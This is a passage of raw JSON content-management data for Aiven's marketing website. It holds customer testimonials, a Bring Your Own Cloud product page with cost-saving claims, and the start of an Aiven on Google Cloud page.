security.”"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"cb009e59-7ab2-4357-9574-17e640b69477","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-d325d7c3fcb41a8e67f2d80fca9b233a0e259136-252x72-webp","_type":"reference"}}},{"_key":"317824e771ba","_type":"testimonialItem","content":[{"_key":"a5c459b3dcf8","_type":"block","children":[{"_key":"602a777751d00","_type":"span","marks":[],"text":"“When you don’t have to worry about a service being down, you can concentrate on your own business.\""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"97a6f337-05d2-4247-9275-e89d42383441","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-7b5eafd5b8c4ff2e3a89fea7f220ace9e02fe168-106x39-svg","_type":"reference"}}},{"_key":"761e333e64c9","_type":"testimonialItem","content":[{"_key":"e3bf7f5d7825","_type":"block","children":[{"_key":"209a743151a10","_type":"span","marks":[],"text":"“We needed an architecture to better support the exploding volume of data that was moving between all our applications.”"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"70bc73d4-2f43-4499-9c4f-fbf349c35841","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-b9548cd138f54438c8efd8d6a8d54e58860f1970-1024x270-svg","_type":"reference"}}},{"_key":"81042b68ac57","_type":"testimonialItem","content":[{"_key":"7c78b49144e0","_type":"block","children":[{"_key":"27ac5233e9160","_type":"span","marks":[],"text":"“Thanks to Aiven, the time our teams used to spend on running Apache Kafka can instead be poured into our core business.”"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-3c7262d7b3ed8f0bbba8c081868828ae144d38f5-809x178-svg","_type":"reference"}}}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Aiven for Apache Kafka® customers","variant":"logo"},{"_key":"e467b70bc1f9","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"f3553e49a948","_ref":"072fbfe2-007b-47a3-b574-d4cc8be52fdb","_type":"ebook"},{"_key":"6d194efe32f8","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://www.youtube.com/watch?v=zUM6sT3SNAM","title":"Watch video"},"image":{"_type":"mainImage","asset":{"_ref":"image-7c77e19111d5c31caa5b33a0ebbe2380799c4fff-1198x668-png","_type":"reference"}},"subtitle":[{"_key":"35647bc40f7d","_type":"block","children":[{"_key":"bc23e35eca160","_type":"span","marks":[],"text":"“The Kafka cluster has been running for more than 3 years, and we never had any problems. It’s just working as it should.”"}],"markDefs":[],"style":"normal"}],"tagline":"Video case study","title":"JobCloud builds event-driven architecture with Aiven","variant":"default"},{"_key":"fbbe35e1680e","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"f820e157-d994-42a0-8492-e7ca6a5d655c","_type":"reference"},"title":"Learn about our solutions"},"image":{"_type":"mainImage","asset":{"_ref":"image-60de3745dec681fdafe6a6d1df158c3beb8534da-3336x2374-png","_type":"reference"}},"subtitle":[{"_key":"e13ed348844a","_type":"block","children":[{"_key":"5e3d5f5185d20","_type":"span","marks":[],"text":"It takes more than just Apache Kafka® – It takes a full streaming ecosystem."}],"markDefs":[],"style":"normal"}],"tagline":"Solution","title":"Aiven for event streaming","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Related Resources","topOverlap":false},{"_key":"921aa67e893ec50f66976ed550bbc572","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"subtitle":[{"_key":"29960f567078","_type":"block","children":[{"_key":"be1cf018063b0","_type":"span","marks":[],"text":"Aiven takes the pain out of cloud data infrastructure management. Deploy a service on the Aiven Platform with just a few clicks - no credit card needed. Select your Aiven service, and the cloud and region to deploy to. You’ll be up and running in minutes."}],"markDefs":[],"style":"normal"}],"title":"Try Aiven for free","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"Read G2 reviews and ratings from Aiven for Apache Kafka® users and discover how Aiven is their trusted data and AI platform.","metaImage":{"_type":"mainImage","alt":"Aiven for Apache Kafka: G2 customer reviews","asset":{"_ref":"image-db7ae2e8e742ccb45931397d4a26df0ff239d922-1200x630-png","_type":"reference"}},"metaTitle":"Aiven for Apache Kafka® G2 customer reviews"},"slug":{"_type":"slug","current":"/customer/g2-reviews"},"title":"G2 customer reviews "} {"__i18n_lang":"en","_createdAt":"2024-09-24T12:27:50Z","_id":"7331d886-a62a-49c1-92bd-0b7d9f55dd21","_rev":"KFPdjtNswOAQxKendYsudl","_type":"page","_updatedAt":"2024-12-12T14:11:04Z","content":[{"_key":"vbf8isgilvfk38imq6tap2mafngbqho3","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Bring Your Own Cloud (BYOC)","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"}},"darkTheme":true,"description":[{"_key":"pj3vfe63b0a42ivv8710s30xrjd175zy","_type":"block","children":[{"_key":"tdx75jqmkn20iss1fb2kzn2ut7zq3t54","_type":"span","marks":[],"text":"Overcome rising cloud costs, fragmented data ownership, and complex security challenges with Bring Your Own Cloud (BYOC)."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"headline":[{"_key":"d90218ca0610","_type":"block","children":[{"_key":"eb11f964c8ba0","_type":"span","marks":["color-primary"],"text":"Bring Your Own Cloud:"},{"_key":"c202361f64e8","_type":"span","marks":[],"text":" Maximize Control \u0026 Minimize Costs with Aiven"}],"markDefs":[],"style":"h1"},{"_key":"3fbd789fa8ce","_type":"block","children":[{"_key":"9ad18f274a050","_type":"span","marks":[],"text":"Build a cloud data solution on your terms. Overcome rising costs and fragmented data ownership with Aiven’s Bring Your Own Cloud (BYOC) solution."}],"markDefs":[],"style":"normal"}],"heroHasVideo":true,"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-b","secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Bring Your Own Cloud: Save More, Control More with Aiven","titleMultiColor":true,"topOverlap":false,"variant":"default","videoHosting":"wistia","wistiaId":{"_type":"wistiaMedia","hashed_id":"qsp75lflj4","id":127835064}},{"_key":"ru1747313apivdempksevgzore956l9z","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"headerPosition":"left","iconSize":24,"icons":[{"_key":"ow7m0wijrqeo4wdgg6dgr295wt9j4mhn","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"9dec6b7e3584","_type":"block","children":[{"_key":"7f4ce89734070","_type":"span","marks":[],"text":"Apply unified cloud-provider discounts directly to your Aiven services. Maximize compute and storage infrastructure savings without sacrificing performance."}],"markDefs":[],"style":"normal"}],"title":"FinOps Simplified"},{"_key":"8kb2grewucu8bravtaqt8fotdeh84jy7","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"c72f2da6f120","_type":"block","children":[{"_key":"bb74acf259400","_type":"span","marks":[],"text":"Keep data secure in your own cloud account while Aiven takes care of service management, maintenance, and scaling—on AWS, GCP, Azure, or OCI."}],"markDefs":[],"style":"normal"}],"title":"Own Your Data, Your Way"},{"_key":"ynung44f6i1cbv1uao317v8isf4kebfq","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-90b07c584c9c583a41e621b708592da27bee8c04-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"eba29mmow9kqelchyok5e6z8urmcm4yn","_type":"block","children":[{"_key":"xrx1way5pn64g11uq5znncgnw2uovt3g","_type":"span","marks":[],"text":"Benefit from Aiven's fully managed services, including robust security measures, while retaining granular control over your data and network settings. "}],"markDefs":[],"style":"normal"}],"title":"Security You Can Trust"},{"_key":"u9mnnuwf53wjbge93zoiwbgiijnuorny","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"17f3cdcdc751","_type":"block","children":[{"_key":"bb1ce6c3954b","_type":"span","marks":[],"text":"With service infrastructure managed by Aiven, you can redirect resources towards initiatives that drive your business forward."}],"markDefs":[],"style":"normal"}],"title":"Focus on Innovation"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tr-bl","subtitle":[{"_key":"kfabb4rqm4if8jbaynidhbnog17tt9n7","_type":"block","children":[{"_key":"qm9eci6t05yug2uxa4eglmn0ts73a9pq","_type":"span","marks":[],"text":"Aiven’s "},{"_key":"bizd4o406kubtfbe742x0mm0oc8gmz4o","_type":"span","marks":["strong"],"text":"Bring Your Own Cloud (BYOC"},{"_key":"k4r5rej2rj020043r9dhexumu3sym9cm","_type":"span","marks":[],"text":") model lets you run managed data services in your existing cloud account(s)—AWS, GCP, Azure, or OCI—allowing you to maintain full control over your data, leverage existing cost-saving plans, and offload service infrastructure management responsibility to Aiven."}],"markDefs":[],"style":"normal"}],"title":"Aiven Solves Your Biggest Cloud Challenges","topOverlap":false},{"_key":"m63w9fpxddl36u0jbxhfurw1mvkelhjx","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"96kp8gpa8dcb6i342m2qwyyma58jksor","_type":"block","children":[{"_key":"ungd8fvwx3l5sczh45o60sad8qxeqbwc","_type":"span","marks":[],"text":"Organizations adopting BYOC can save up to 30% on cloud infrastructure costs. "}],"markDefs":[],"style":"h3"},{"_key":"8nlnliuur8qdxaqnbhdwzlt3sli9xwnx","_type":"block","children":[{"_key":"f990bj25tipv6c5lk2fxpheijv09qiy4","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"c4a109240ec7","_type":"block","children":[{"_key":"b97f459a7385","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h3"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-tl","subtitle":[{"_key":"b0cf9a45ba63","_type":"block","children":[{"_key":"ebcb6bd4af3a0","_type":"span","marks":[],"text":"Do more with less: reduce your total cloud expenses by up to 30% with Aiven's BYOC model."}],"markDefs":[],"style":"h3"},{"_key":"782c47cb9ca0","_type":"block","children":[{"_key":"6de5a9e4b6510","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"centerColumn"},{"_key":"himxhqn6javytj9cwsiw6rdjlqx47w76","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-0f8776ca68e26afccda7779ed5f5e64d014f33a8-1422x1006-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"lg","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","tagline":"How does it work","text":[{"_key":"6h5eas1p0714myz8cjxoxjbzoj2akiui","_type":"block","children":[{"_key":"vbyukpe105kt52564rzc0xhowjm9wpu8","_type":"span","marks":[],"text":"Aiven's BYOC model puts you firmly in control. Your data stays private within your cloud account while Aiven expertly manages services, including maintenance, updates, and security measures. "}],"markDefs":[],"style":"normal"},{"_key":"9t6e3o8074nh01o8fnbqfnws4h4bm4mf","_type":"block","children":[{"_key":"6b6280b7ea36","_type":"span","marks":[],"text":"Deploying Aiven services within your cloud account lets you leverage your existing discounts and pricing plans for compute and storage infrastructure. Save up to 30% on cloud expenses and redirect those savings towards growth and innovation to propel your business forward."}],"markDefs":[],"style":"normal"}],"title":"The BYOC Blueprint ","topOverlap":false,"variant":"mediaLeft"},{"_key":"di6g4ycw4ax8s909t2mhyvbfyrvuq5va","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"items":[{"_key":"27567647f8bd","_type":"testimonialItem","company":{"_ref":"727f3f76-3bb5-4b94-a943-59f28858872a","_type":"reference"},"content":[{"_key":"07eb14720a86","_type":"block","children":[{"_key":"22ca6d9cdcca","_type":"span","marks":[],"text":"With over 10 million customers across 26 countries, La Redoute is an e-commerce leader in home, decoration and fashion. To handle the dynamic demands of peak shopping seasons, La Redoute turned to Aiven's BYOC model for its rapid deployment and cost-optimized infrastructure."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"7455e64b-e73e-4edd-86fa-be656d250d3c","_type":"reference"},"title":"Read case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-ce3c3156538fd01b4b7c4db0c7bb350590fcb050-1200x628-png","_type":"reference"}}},{"_key":"8faf67fd3aa0","_type":"testimonialItem","company":{"_ref":"1XH8KZN8aj668zBCdJQaTs","_type":"reference"},"content":[{"_key":"15e40a3bc4b6","_type":"block","children":[{"_key":"7b111949666b0","_type":"span","marks":[],"text":"Sophos is a global leader of advanced security solutions for defeating cyberattacks. By adopting Aiven’s Bring Your Own Cloud (BYOC) model, Sophos has kept the benefits of using the Aiven service while taking advantage of compute savings plans in its AWS account and gaining granular control over the Aiven managed service deployments and networking."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"7b593397-e40c-408b-a5bf-a22b349e99ed","_type":"reference"},"title":"Read case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-3d72e58b9ba08de14e4c5bb8cd17e744146cbbf3-1200x628-png","_type":"reference"}}}],"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","showCompanyLogoAndTags":true,"title":"Customer Spotlight: BYOC in Action","variant":"media"},{"_key":"55e6786bdd13","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"49d3df3bf258","_type":"testimonialItem","company":{"_ref":"1XH8KZN8aj668zBCdJQaTs","_type":"reference"},"content":[{"_key":"34cd5690ff0c","_type":"block","children":[{"_key":"f61f6e8c7e7b0","_type":"span","marks":[],"text":"Sophos, a global leader of advanced security solutions for defeating cyberattacks and one of the largest pure-play cybersecurity providers in the world,"}],"markDefs":[],"style":"normal"},{"_key":"2b941ef530f9","_type":"block","children":[{"_key":"96ef8327389a0","_type":"span","marks":[],"text":"“Aiven’s BYOC on AWS solution has saved us between 30% and 40% of our total spend on the mission-critical Aiven for Kafka service. And cost savings translate into competitive advantage for us.”"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"7b593397-e40c-408b-a5bf-a22b349e99ed","_type":"reference"},"title":"Read case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-0af0badf9cad359ba833771e1499bf6e0a000a9f-1221x261-png","_type":"reference"}},"jobTitle":"Senior Director, Software Engineering","name":"Brian Campbell"},{"_key":"1e9a6f6196ef","_type":"testimonialItem","company":{"_ref":"727f3f76-3bb5-4b94-a943-59f28858872a","_type":"reference"},"content":[{"_key":"fe39e3420f00","_type":"block","children":[{"_key":"e0031669ad36","_type":"span","marks":[],"text":"With over 10 million customers across 26 countries, La Redoute is an e-commerce leader in home, decoration and fashion, "}],"markDefs":[],"style":"normal"},{"_key":"1d5277654d8c","_type":"block","children":[{"_key":"2d9c7a2838a4","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c3a677438bd0","_type":"block","children":[{"_key":"3361fe3fea2d","_type":"span","marks":[],"text":"\"We did 95% of the PostgreSQL migration to Azure BYOC in less than two months. That's an astonishing 125 databases, and with the Christmas break in the middle. It was one of the most workload intensive yet smoothest migrations that we have had at the company.\" "}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"7455e64b-e73e-4edd-86fa-be656d250d3c","_type":"reference"},"title":"Read case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-d1fc3335ff566d4c3ca3dc302305f79da1f7996f-1255x1277-png","_type":"reference"}},"jobTitle":"Head of Cloud Transformation ","name":"Diogo Gomes"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Customer Spotlight: BYOC in Action","topOverlap":false,"variant":"logo"},{"_key":"1vodyjmgfdf1fu9m9psfz7dmev671j3m","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"3sqgco3j67zebli6cdzi4pzju3io2fm1","_type":"block","children":[{"_key":"quzlzglx3pk9bfza5yasp2q8xxwwy9k0","_type":"span","marks":[],"text":"Organizations adopting BYOC models can save up to 30% on cloud infrastructure costs. "}],"markDefs":[],"style":"h3"},{"_key":"82ekx4u7pqg3aiqgq0x0w66qcj17huqb","_type":"block","children":[{"_key":"jhmhyze9e7e90jkhpb6bkxosc18f6yny","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"darkTheme":false,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"7zmum5jvznxuvnqegmbgi2o9sk61utlo","_type":"block","children":[{"_key":"jyu3rz77xe6ai2es7qssyko5pzucp9dx","_type":"span","marks":["68ff4a1c7d95"],"text":"Spin up"},{"_key":"594f25486ba5","_type":"span","marks":[],"text":" your BYOC environment on AWS or GCP in under 10 minutes."}],"markDefs":[{"_key":"68ff4a1c7d95","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc#architecture-of-the-standard-byoc-deployment"}],"style":"h3"}],"topOverlap":false,"variant":"centerColumn"},{"_key":"4ur4xw3l6tnm3hxm6mhdksjlzblrdwzp","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"imwugy1a7aj399wa9p59pp12ig2nw5fz","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"b00fa92d-90ba-4e2c-a765-c71f1838555c","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-efb0173102c05a1bfc9d614bfc5a639bd0682a91-1200x630-png","_type":"reference"}},"subtitle":[{"_key":"s3uinpbfgg4kgzm5baqh7u4f0tpr2muv","_type":"block","children":[{"_key":"c2orx4xc4gfrvdcy5emkc4ms5d76052v","_type":"span","marks":[],"text":"Learn about how to simplify cost management and drive cost reductions across all in-house and managed cloud services with Aiven's BYOC."}],"markDefs":[],"style":"normal"}],"tagline":"Blog","title":"Optimize Your AWS Costs With Aiven's BYOC","variant":"default"},{"_key":"4e9b60dd8b11","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/platform/concepts/byoc","title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-5a2faa576bc2160fff4bfe4492c44746547cbe6d-1200x630-png","_type":"reference"}},"subtitle":[{"_key":"64f7d0cb83c1","_type":"block","children":[{"_key":"e20268db61df0","_type":"span","marks":[],"text":"Explore Aiven's BYOC eligibility, architecture, and more in our comprehensive documentation."}],"markDefs":[],"style":"normal"}],"tagline":"Docs","title":"Aiven's BYOC in Details","variant":"default"},{"_key":"ac97bf212802","_ref":"12782707-33fe-4a65-9171-84db5d5c6139","_type":"webinar"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Related Resources","topOverlap":false},{"_key":"bg2us7uf71di7foxxw4e8irngb66txe0","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Free 30-day trial"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Request a demo"},"subtitle":[{"_key":"qrsz0x4m8s05ch8uxwgtt5musl2raef6","_type":"block","children":[{"_key":"i3vuif2c0rxhx8amkbz1430juswdpbte","_type":"span","marks":[],"text":"Discover how Aiven’s BYOC can transform your cloud strategy. Get in touch with our experts today to start your journey in achieving cost savings without compromising on privacy."}],"markDefs":[],"style":"normal"}],"title":"Your Data, Your Cloud, Your Way","variant":"centerColumn"},{"_key":"pvqwrzsn6fz3zznqi6ao8ah3lxi4vgzp","_type":"accordion","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"c958eb59-d492-40aa-a66f-a5783772f970","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":true,"fullWidth":false,"headerPosition":"left","items":[{"_key":"piew7depx5ovltu6u3xktueqd1qv67z0","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"panelText":[{"_key":"k6nor2u9r2qc2bfwf6mxjt7z95krq102","_type":"block","children":[{"_key":"l7ama4v2e2y0kvopxs560d406hvytws0","_type":"span","marks":[],"text":"Unlock maximum savings by applying your existing cloud provider discounts, such as AWS EDP and Compute Savings Plans, directly to your Aiven services. Reduce infrastructure costs without compromising on performance or reliability."}],"markDefs":[],"style":"normal"}],"title":"Maximize Cloud Cost Optimization"},{"_key":"mhm8pwd0d4uham3ekxfhjvjvb18715dc","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-b75b64e036bf3f1eda9c1349e49abef43314cfd1-24x24-svg","_type":"reference"}},"panelText":[{"_key":"wikrb385q779yqq8cnsd01m474hln455","_type":"block","children":[{"_key":"w8lw5t2dvb8cb1csn7y6bw37xa3kffx2","_type":"span","marks":[],"text":"Maintain complete control and security over your data by keeping it within your own cloud account – whether it's AWS, GCP, Azure, or OCI. Meanwhile, let Aiven handle the complexities of service maintenance and updates."}],"markDefs":[],"style":"normal"}],"title":"Own Your Data, Your Way"},{"_key":"93hsae7kq7anrnmu9h408cwx8g5rhkzp","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-c7f60c246292bbb1214570505dac4f8925769d00-24x24-svg","_type":"reference"}},"panelText":[{"_key":"kopuu5bp0sz651l1hwomcj3tel2qqgf9","_type":"block","children":[{"_key":"5q7cgvmby5z2hpev14j8ur5e4gt1dp2c","_type":"span","marks":[],"text":"Benefit from Aiven's fully managed services, including robust security measures, while retaining granular control over your data and network security. It's the ideal combination of flexibility and expert management."}],"markDefs":[],"style":"normal"}],"title":"Finely Tune Your Security"},{"_key":"zquj5y8rc4sd82mz4qcfb3db81s3bkk7","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8-24x24-svg","_type":"reference"}},"panelText":[{"_key":"a2cadc99ce9d","_type":"block","children":[{"_key":"651c8744ac220","_type":"span","marks":[],"text":"By offloading the complexities of service infrastructure management responsibility to Aiven, you can redirect resources towards initiatives that drive your business forward."}],"markDefs":[],"style":"normal"}],"title":"Focus on Innovation"}],"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Discover Aiven Platform"},"roundedCorners":"rounded-tr-bl","subtitle":[{"_key":"8pdsqfof17tlfqvlw94gcy0xvsaderqk","_type":"block","children":[{"_key":"08sl5pkm514nsde3ps99vo1ve3z6fkcf","_type":"span","marks":[],"text":"Aiven’s "},{"_key":"dbm6h0keeesw32chdh0tuloqwnqrm3vv","_type":"span","marks":["strong"],"text":"Bring Your Own Cloud (BYOC"},{"_key":"h5bwws3ep9guc9o9343s0ogev0mds7qj","_type":"span","marks":[],"text":") model lets you run managed data services on your preferred cloud environment—AWS, GCP, Azure, or OCI—allowing you to maintain full control over your data, leverage existing cost-saving plans, and offload service infrastructure management responsibility to Aiven."}],"markDefs":[],"style":"normal"}],"tagline":"BYOC","title":"Aiven Solves Your Biggest Cloud Challenges","topOverlap":false}],"seo":{"_type":"metaData","metaDescription":"With Aiven's BYOC model, save up to 30% on your cloud expenses and maintain full control over your data.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d3b2d43c0e2a0bf6e7c28a9c71af467b3a9bd407-1200x630-png","_type":"reference"}},"metaTitle":"Aiven's Bring Your Own Cloud (BYOC)"},"slug":{"_type":"slug","current":"/byoc"},"title":"BYOC"} {"__i18n_lang":"en","_createdAt":"2023-12-11T08:08:52Z","_id":"4e339088-4dba-4897-a1ea-06c572b37577","_rev":"h4ancfFTuSnQNBSq3FQMg0","_type":"page","_updatedAt":"2024-11-18T08:47:25Z","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"content":[{"_key":"db08f9c5d675","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"fcdd2bb9a246","_type":"block","children":[{"_key":"431565848b60","_type":"span","marks":[],"text":"Build world class data infrastructure with Aiven on Google Cloud. Aiven provides the open source data services you know and love, user-friendly interfaces, high end customer support, and built-in security and compliance by design. Now accessible from the Google Cloud Marketplace and via Bring Your Own Cloud (BYOC)."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"heroHasVideo":false,"image":{"_type":"mainImage","asset":{"_ref":"image-c8f256c23113873deaa3865819e3a10239a9892f-2667x1500-png","_type":"reference"}},"imageSize":"large","primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"rounded":false,"tagline":"Aiven on Google Cloud","title":"Build innovative applications at scale with Aiven on Google Cloud","variant":"default"},{"_key":"stg30csdbp1nxm5q17gfliw46eyuklyh","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center 